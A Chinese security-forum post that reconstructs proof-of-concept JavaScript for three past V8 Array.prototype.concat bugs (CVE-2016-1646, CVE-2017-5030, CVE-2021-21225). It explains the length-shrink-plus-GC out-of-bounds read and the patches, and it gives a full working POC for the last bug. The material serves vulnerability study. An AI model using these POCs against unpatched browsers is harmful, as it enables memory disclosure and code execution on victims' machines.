首页
社区
课程
招聘
[原创] V8 Array.prototype.concat函数出现过的issues和他们的POC们
2022-9-2 19:38 15214

[原创] V8 Array.prototype.concat函数出现过的issues和他们的POC们

2022-9-2 19:38
15214

 

1:写在前面:

            最近老是做一些根据文档和代码构造POC的事情,经常想着怎么锻炼这一方面的能力。以v8为例,如果让别人直接指出某个地方有问题,然后让我去找出来,构造POC以至于EXP,以我现在对v8的熟练程度,简直是开玩笑。

            于是秉着循序渐进的原则,想到了高中做物理题目,就把这个过程理解为高中做开放物理课题的过程。

      先假设有个出题人,给出了所有满足解题的条件,然后尝试根据这些题目给出的提示解出正确的答案。秉着这个思路给自己设计了一个练习方案

             这次设计的练习主要参考的是这篇文章

       https://tiszka.com/blog/CVE_2021_21225.html


选择这篇文章做练习的原因

  1:这位师傅对这一系列漏洞触发的成因和条件描写得令人发指的详细。

  2:这个系列的漏洞本人以往只是做过利用,对漏洞的原因和触发的条件却是一知半解了,很适合目前的我用来练习构造v8 POC的课题。

     

           先假设这篇文章所说的内容就认为是解题需要的所有条件。

           当然,不需要跟某些大佬设置的CTF考试一样闭卷考……可以搜索互联网上POC和EXP除外的所有知识要点。

    尝试根据文中给出代码提示和自己掌握的和搜索的知识构造出POC。

    最后看看根据自己的理解和实验构造出的POC,和原文给出的POC有什么区别。

 

 

           因为包含三个漏洞,所以没有构建v8环境进行调试,也没有看源代码,其实就这个目的来说也没太大必要,

    如果只说针对构造漏洞触发的条件的话,原文的代码片段及解释已经足够的详细。

    因此只有下载相应版本的Chrome来测试是否能走到触发漏洞为止。

           虽然讲的是POC的构造,不过这里还是先介绍这系列漏洞利用的原理吧,毕竟知道怎么玩,才有足够的动力去挖。

1.1:Array.prototype.concat函数漏洞。

    这系列的漏洞公告介绍是越界读导致的RCE,一般的越界读漏洞只能获得信息泄露或转换为任意读,但这一系列漏洞却是可以通过越界读来获得RCE。 

    其中的关键点就是巧妙的利用v8的GC机制,来往我们可以索引到的数组元素里面“写进“我们预先构造好的数组地址,来伪造我们可以完全控制的数组,从而获得任意读写的能力,具体过程如下。

1.2:Array.prototype.concat函数漏洞的利用原理:

1.2.1:假设我们拥有这样一个浮点数组var A = [1.1,2.2,3.3,4.4];

    其在v8的内存布局中是这样的:  (图   1.2.1.1所表示的,在指针压缩引入之前的v8,浮点数组A内存布局,引入之后的A内存布局有些区别,但是在这里的漏洞利用的原理都是一样),

                                             

                                                              图   1.2.1.1

 

 假设这个时候length变成了1,并且触发了GC回收,v8一般不会在原内存中重建或保存数组A,相反会在一块新的内存地址中,重建数组A,并更新内存布局,情况会如图 1.2.1.2所示

                 

                                                                                                                  图 1.2.1.2

    假设这个过程中出现问题数组长度没有变化,length依旧为4,那么重建的数组A,这情况就如同图 1.2.1.3,这种情况下我们就可以通过A[1]越界索引到map,能通过A[3]能索引到elements,泄露出重要的内存地址。

        


                                                                                                         图 1.2.1.3

           1.2.2:假设我们原本的数组 var A=[1.1,2.2,3.3,4.4,5.5,{}];,也如上述所讲的情况,将数组length修改为1,触发垃圾CG回收情况,情况就会如图 1.2.2.1所示:

               

                                                                                                       图 1.2.2.1

 

    这时候如果length实际上没有更新的话,如图1.2.2.2,我们提前设置好的地址会代替对象{}的地址,因为A[5]原本指向为一个{}对象,所以我们可以通过A[5]索引,把我们预先布局好的对象地址,索引为{}对象。

                                                                                                       图 1.2.2.2

 

     通过在预先布局的地址构造好我们的伪造对象数据,可以实现完全控制一个对象,再通过这个完全控制的对象,进一步实现v8进程内存的任意读写,结合前面的信息泄露,就凑够了v8 RCE需要的所有原语。

            这里漏洞利用有个重要技巧,涉及到v8的CG机制,在作者的

            https://tiszka.com/blog/CVE_2021_21225_exploit.html

            writeup里面有详细说明,要了解这漏洞的RCE技巧,以及想了解v8 RCE和CG知识的,建议细读。

 

二:关于Array.prototype.concat()出现的历史漏洞

  

      2.1: CVE-2016-1646


             2.1.1 CVE-2016-1646 root case

             漏洞发生在函数Array.prototype.concat(),简单分析一下代码要点

   

                                                                                图 2.1.1.1

     图2.1.1.1代码所示: Array.prototype.concat的返回放置[1]所示的visitor对象。args表示的是参与函数运算的参数,接下来的循环,需要会对每个参数args->at(i)进行了IteratorElements运算。

 

                                                                        图2.1.1.2

     图2.1.1.2 : [3]可以看到在IterateElement运算中,会将图 2.1.1.1过程中中的args->at(i)保存在array这个变量之中,然后在[4]过程中将数组array的长度放置在变量length上,并且对数组的类型ElementsKind进行判断,以便接下来做相应的处理。

      

                                                                                          图2.1.1.3

     图2.1.1.3 : 在ElementsKind判断之后在[7]中将前面[4]的length的值赋值到fast_length变量中,并用于接下来的FOR_WITH_HANDLE_SCOPE的循环(也就是说array在Array.prototype.concat运算中返回的数组长度在,这个过程中已经不会再变化,为fast_length)

       

                                                                      图 2.1.1.4

  图 2.1.1.4:

       在FOR_WITH_HANDLE_SCOPE的循环中,[9]中会取出数组的element,然后[10]判断element是否为hole,

       如果为hole则会调用JSReceiver::GetElement(isolate,array,j),并调用visitor->visit(j,element)来返回结果。

       但是问题是JSReceiver::GetElement(isolate,array,j)为v8的Slow运算,该过程会触发Getter回调。

       我们可以通过在回调中写入任意的JS代码来触发越界读。

       具体的触发漏洞的做法前面已经说过,将array的length减小,然后触发垃圾回收。因为我们用于FOR_WITH_HANDLE_SCOPE循环的fast_length实际上并没有发生变化,所以结果会读取length之后的数值回去。

 

     2.1.2 构造POC

     2.1.2.1综合POC构造需要满足所有条件

              条件1:创建FAST_DOUBLE_ELEMENTS类型的数组 A;

              条件2:进入element_value->IsTheHole(isolate) 的代码流程。

              条件3:在hole元素中。执行JSReceiver::GetElement触发Getter回调。

              条件4:在回调函数之中减小A数组的长度,并触发CG。

              条件5: 当然,最后一步需要执行Array.prototype.concat函数,才能走进前面4个条件的执行代码流程。

    2.1.2.2 POC的构造;

              条件1:创建FAST_DOUBLE_ELEMENTS类型的数组 

代码:

     var A = [1.1,2.2,3.3,4.4,5.5];


             条件2:要满足element_value->IsTheHole(isolate)

       这个条件要求在条件1里创建的数组A上创建一个hole,满足ElementValue->IsTheHole(),才会走到条件3的JSReceiver::GetElement分支流程触发回调。

代码:

     delete A[1];
     //关于hole是什么:

             https://stackoverflow.com/questions/61420580/can-anyone-explain-v8-bytecode-ldathehole


            条件3:在hole元素中执行JSReceiver::GetElement触发Getter回调,因此这步构造为

            因为JSReceiver::GetElement实际上是遍历A的原型,所以这一步构造为:

代码:


     A.__proto__=f //(创建A的原型对象)  
     f.__defineGetter__(1,evil);


            条件4:在回调函数之中减小A数组的长度,并触发CG。

代码:

                 

     function evil(){
             A.length=1;
             new ArrayBuffer(0x7fe00000);//=>触发CG
     }


           条件5:执行Array.prototype.concat函数,走进前面4个条件的代码执行流程。

 代码:

     var a = Array.prototype.concat(A);


          为了方便演示,直接将结果打印出来

     console.log(a);


2.1.2.3结果演示:

         

                                                              2.1.2.3

                                                     

                                                                2.1.2.3

     这里可以看到,在hole元素A[1]之后,由于触发了上述所说的越界读漏洞,读取了奇怪的数字代替了原本数组的元素。

     2.1.3 补丁修复

            这里的修复的手段是

     ß---------------------------插入了补丁

     +if(!HasOnlySimpleElements(isolate, *receiver))
     +{
     +    return IteratesSlow(isolate, receiver, length, visitor);
     + }
     switch(array->GetElementsKind){

      该补丁是在

      switch(array->GetElementsKind)开始前就插入了HasOnlySimpleElements(isolate, *receiver)的检测,检查是否存在Element元素的Getter,Setter回调。

如果有,就执行IteratesSlow(isolate, receiver, length, visitor),不会进入FOR_WITH_HANDLE_SCOPE的循环过程。

 

      但是FOR_WITH_HANDLE_SCOPE循环过程实际上还存在,如果在FOR_WITH_HANDLE_SCOPE循环里面还能发现有别的办法执行自定义的JS,依旧可以利用自定义的JS来进行数组length减小,垃圾回收的操作,使用同样的办法来触发越界读取漏洞。


            结合之前的分析结果,可以将触发这一类漏洞的问题就可以分解为两个部分:

            1)我们可以通过某种手段,绕过HasOnlySimpleElements(isolate, *receiver)的检测,进入FOR_WITH_HANDLE_SCOP循环。

            2)在FOR_WITH_HANDLE_SCOP循环返回之前,控制执行自定义的JS代码。

 

2.2:CVE-2017-5030  

     2.2.1在CVE-2016-1646修补之后的几个月, Symbol.species和代理对象Proxy object被引入

     2.2.1.1:Symbol.species对于Array.prototype.concat的影响:

      Symbol.species操作会重写对象的构造函数,在Array.prototype.concat这样的JavaScript内置函数中,会使用Symbol.species里面的函数重新加载执行构造函数,来创建新的对象,从而能影响到Array.prototype.concat的返回结果。      

       这里有简单的演示案例:

       

                                                                      图 2.1.1.1

         图 2.1.1.1简单验证了Symbol.species是可以影响Array.prototype.concat的返回结果,这里将一个Number 5写入了的返回结果。

  但是问题是Symbol.species,在哪里,如何影响到Array.prototype.concat的返回结果。

 2.2.1.2 Array.prototype.concat实现过程对于Symbol.species的处理

              

                                                                                     图 2.2.1.2

       实际上v8的处理,是在Array.prototype.concat执行之中,为Symbol.species新建一个Handle<Object> species对象,然后在执行Handle<Object> species对象的JS代码一次,然后将其结果放入visitor之中,从前面2.1中的介绍可以知道,visitor是处理返回的对象。

             也就是说图 2.2.1.2的代码片段说明,我们通过Handle<Object> species对象的执行,可以在Array.prototype.concat返回visitor之中写入一个我们自己控制的对象。

       离我们触发漏洞的目的只剩下一步,就是在FOR_WITH_HANDLE_SCOP过程中找到我么写入对象执行回调的机会。

       在接下来FOR_WITH_HANDLE_SCOP循环的时候,调用了visitor->visit()返回结果

       查看改代码片段

             

                                                                                       图  2.2.1.3

      图  2.2.1.3的代码片段表示,

      这里的visitor->visit()最后使用了JSReceiver::CreateDataProperty处理结果,然后作为Array.prototype.concat的返回。

仔细看JSReceiver::CreateDataProperty的处理逻辑:

                                                                                               图  2.2.1.4

               在JSReceiver::CreateDataProperty中存在JSProxy::DefineOwnProperty分支,其执行过程为:

            

                                                                                              图  2.2.1.5

             JSProxy::DefineOwnProperty会调用Object::GetMethod方法寻代理对”defineProperty”字符串的代理,很明显这个JSProxy::DefineOwnProperty就是跟随Proxy object代理对象的增加而被引入。

             Object::GetMethod方法会触发Getter的” defineProperty”回调。

     2.2.2 构造POC:

         2.2.2.1 综合POC构造需要满足所有条件

      条件1:通过的重构函数Symbole.species写入一个对象到Array.prototype.concat的返回对象visiter中。因为并不是Elements之中Setter和Getter回调,所以可以绕过CVE-2016-1646加上的防护,到达我们期望进入的FOR_WITH_HANDLE_SCOPE循环。

      条件2:通过对写入的对象进行代理设置,可以使代码在返回Array.prototype.concat的visitor->visit()流程中,走进JSReceiver::CreateDataProperty的Maybe<bool> JSProxy::DefineOwnProperty的处理分支中。

      条件3:对写入的该对象设置”defineProperty”字符串的Getter回调,执行我们自定义的JS代码。

      条件4:在我们自定义的JS代码里面将length设置为1,然后触发垃圾回收,触发越界读。

 2.2.2.2 POC的构造:

      条件1 :

      构造Symbol.species重写构造函数在Visitor中加入我们指定的对象MyProxy:

      代码:

         class MyArray extend Array{
                 static get[Symbol.species](){
                return function(){return MyProxy}
            }
         }

      条件2

   将我们的指定对象MyProxy设置为代理对象,以便在visitor->visit()执行JSReceiver::CreateDataPropert的时候,走进JSProxy::DefineOwnProperty分支触发回调:

       代码:

      handler = {};
      MyProxy=new Proxy({},handler);

      条件3

      对该代理对象MyProxy的getter设置”defineProperty”字符串回调,加入我们自定义的JS代码。

代码:

     handler.__proto__.__defineGetter(“defineProperty”,evil);

     条件4 

     在我们自定义的代码里面,将数组长度减小,进行垃圾回收,触发越界读。

代码:

     function evil(){
             A.length = 1;
             cg();
     }

        2.2.2.4 结果演示:

          

                                                                              图 2.2.2.4

           

                                                                             图 2.2.2.5

         通过上图,可以看到hole元素及其之后的元素已经被奇怪的数字覆盖,形成了和CVE-2016-1646类似的越界读

         //=>这里触发CG    这里是用的垃圾回收方法和第一个POC不同,因为测试的Google Chrome    55.0.2883.87 (正式版本) (64 位)使用前面的CG方式会出现Out of Memory的/问题。

 

 

 

 

 

      2.2.3 补丁修复

这里的修复方案是在CVE-2016-1646的检测基础上,又添加了一个检测,检测这个结果对象是否为为”Simple”类型。保证Symbol.species重构函数的返回result object不是一个Proxy Object。

    + if(!visitor->has_simple_elements*+() || !HasOnlySimpleElements(isolate, *receiver)){
           return  IteratorElementsSlow(isolate, receiver, length, visitor);
    }
    Handle<JSObject> array = Handle<JSObject>::cast(receiver);
       switch(array->GetElementsKind()){
       case PACKED_SMI_ELEMENT:
       case PACKED_ELEMENTS:
       case PACKED_FROZEN_ELEMENTS:
      case HOLY_ELEMENTS:{}
   
       }

 

    这里依旧有两个问题点。

            1):我们依旧可以用Symbol.species往visitor里面写入自定义的对象。

            2):如果在FOR_WITH_HANDLE_SCOPE循环里面可以用别的方法触发回调,执行自定义的JS代码,那么相同的越界读还是会触发。

 

 

 

2.3 CVE-2021-21225

 2.3.1 v8新引进的机制对Array.prototype.concat函数的影响

           TC39引进了

           Make integer-indexed elements [[Configurable]]

 

          作者说这意味着

         var u32 = new Uint32Array(64);
         Object.defineProperty(1,{configurable:true});

           也就是所有类型的elements都能进行配置。

 

 2.3.2.1:新机制对CreateDataProperty的影响

 从V8脚本引擎的视角,意味着CreateDataProperty(typedArray, 0, 5)是允许的。

作者在CreateDataProperty做了深入研究,发现Object::SetDataProperty在原本的基础上里面引入了新逻辑

            

                                                                 图 2.3.2.1

         图 2.3.2.1  代码片段在Object::SetDataProperty里面有一个逻辑,[5]代码片段显示如果array的元素原本是一个可配置的object,array会将其从Object类型转化为numeric type。

   但是问题是可配置的Object转换为numeric type数字的过程可以插入我们自定义的JS代码如图: 2.3.2.2所示

          

                                                                 图 2.3.2.2

      图 2.3.2.2这里的实例简单的说明,v8对如果将一个object函数对象转换为数字,会触发原本object对象原本配置的函数过程,可以执行执行用户自定义JS的代码。

      结合前面分析,我们可以借由Symbol.species重写构造函数,将array的元素走入FOR_WITH_HANDLE_SCOPE循环中的代码片段Object::SetDataProperty里面。

      如果我们将其中一个元素设置为图 2.3.2.2所示的配置对象,那么这个代码流程会进入图2.3.2.1所示的代码片段,将Object对象转化为Number。  

     

      在Object对象转换为Number对象的时候,会先执行一遍object对象的配置,触发调用object里面的自定义JS代码,这样就可以再一次触发和CVE-2016-1646相同的越界读漏洞。

    2.3.2构造POC:

         2.3.2.1 综合POC构造需要满足所有条件

   条件1:通过Symbole.species写入一个对象到Array.prototype.concat的返回对象visit中。因为并不是Elements之中Setter和Getter回调,所以可以绕过CVE-2016-1646加上的防护,到达我们期望进入的FOR_WITH_HANDLE_SCOPE循环。

   条件2:对我们的元素进行配置,可以使代码在返回Array.prototype.concat的对象设置visitor->visit()流程中,走进JSReceiver::CreateDataProperty的Maybe<bool> Object::SetDataProperty处理分支中。

   条件3:配置的元素写入我们自定义的JS代码。

   条件4:在自定义的JS代码里将length设置为1,然后触发垃圾回收,达到我们期待的越界读。

    2.3.2.1 POC的构造:

   条件1 :构造Symbol.species重写构造函数,以便在我们的代码走入JSReceiver::CreateDataProperty

   在Visitor中加入我们指定的对象MyProxy,保证PrototypeArray为TypeArray即可:

   代码:

      MyProperty = new Float64Array(20);
        class MyArray extend Array{
           static get[Symbol.species](){
           return function(){return PrototypeArray}
       }
     }

::这里发现MyProperty = new Float64Array(20);里面的数组如果太小,不会走进这代码流程,和作者一样用var u32 = new Uint32Array(64);不稳定,会崩溃。

 条件2:

 对我们的元素进行配置,可以使代码在返回Array.prototype.concat的对象设置visitor->visit()流程中,走进JSReceiver::CreateDataProperty的Maybe<bool> Object::SetDataProperty处理分支中。

 

    var A = new MyArray(20);
    A.fill(1.1);
    delete A[1];

 

 条件3:配置的函数写入我们自定义的JS代码。

 条件4:在自定义的JS代码里将length设置为1,然后触发垃圾回收,达到我们期待的越界读。

       A.__proto__[1]={
           valueOf: function(){
           A.length=1;
           gc();
       }
      }

    2.3.2.2将POC进行整合

      function gc() {
         for (var i = 0; i < 0x100000; ++i) {
            var a = new String();
       }
      }
 
 
     let PrototypeArray = new Float64Array(20);
     class MyArray extends Array {
     static get [Symbol.species]() {
        return function() { return PrototypeArray; }
        };
     }
     var A = new MyArray(20);
     A.fill(1.1);
     delete A[1];
     A.__proto__[1]={
     valueOf: function() {
        A.length = 1;
       gc();
     }
    };
 
    var c = Array.prototype.concat.call(A);
    console.log(c);

      2.3.2.2结果演示

         遗憾的并没有成功

     


                                                                          图 2.3.2.2   

       按照图 2.3.2.2报错提示说在MyArray.concat中出现问题,说是[object Object]只有getter,不能设置其长度,因为在Array.prototype.concat.call过程中MyArray已经被新的构造函数重写为let PrototypeArray = new Float64Array(20);的PrototypeArray,所以这个[object Object]应该指的就是PrototypeArray,

再者这里说property length不能设置导致错误,我们尝试随意对PrototypeArray配置其length属性的setter,看会出现什么。

       因为本人也不知道Setter设置需要是什么,所以这里这里测试设置为数字1

   PrototypeArray.__defineSetter__('length', 1);

       得出来的报错为

      

                                                                            图 2.3.2.3

  图 2.3.2.3提示时出现了Excepting Function,我们可以看到这里Setter应该配置为function。。

    PrototypeArray.__defineSetter__('length', function(){});

     最后成功出现越界读现象

     

                                                                 图 2.3.2.4

 

总结:

第一:三个案例写出的POC都是根据作者的提示,最后写的和作者给出的差不多,有点区别的是三个实例中的触发的回调,本人用的都是用__proto__,也就是对其原型进行设置,作者设置方式比较灵活,貌似在很多情况下没什么必要。

第二:在CVE-2021-21225的构造中,发现用Float64Array作为TypeArray的时候最为稳定,并且element的不能太少,否则不能触发,并且不知道为什么要设置PrototypeArray.__defineSetter__('length', function(){});,难道是因为作为构造函数返回对象的PrototypeArray 的length默认不能改变?

       总之最后一个POC都是连懵带猜的拼凑出来的,有兴趣研究的同学可以自己去看看源码为什么。

       第三:其实也是作者原文想说明的,v8对于CVE-2016-1646和CVE-2017-5030的修复没有修补在源头上。

最后v8的修复方案是对FOR_WITH_HANDLE_SCOPE循环里的函数设置了个assert,让这期间发生自定义的JS回调就抛出异常崩溃,也算是彻底断绝了这个函数的漏洞

 

 



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-9-2 19:58 被苏啊树编辑 ,原因:
收藏
点赞3
打赏
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/09/07 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (1)
雪    币: 4283
活跃值: (2903)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
苏啊树 4 2022-9-2 19:39
2
0

编辑图片好幸苦

游客
登录 | 注册 方可回帖
返回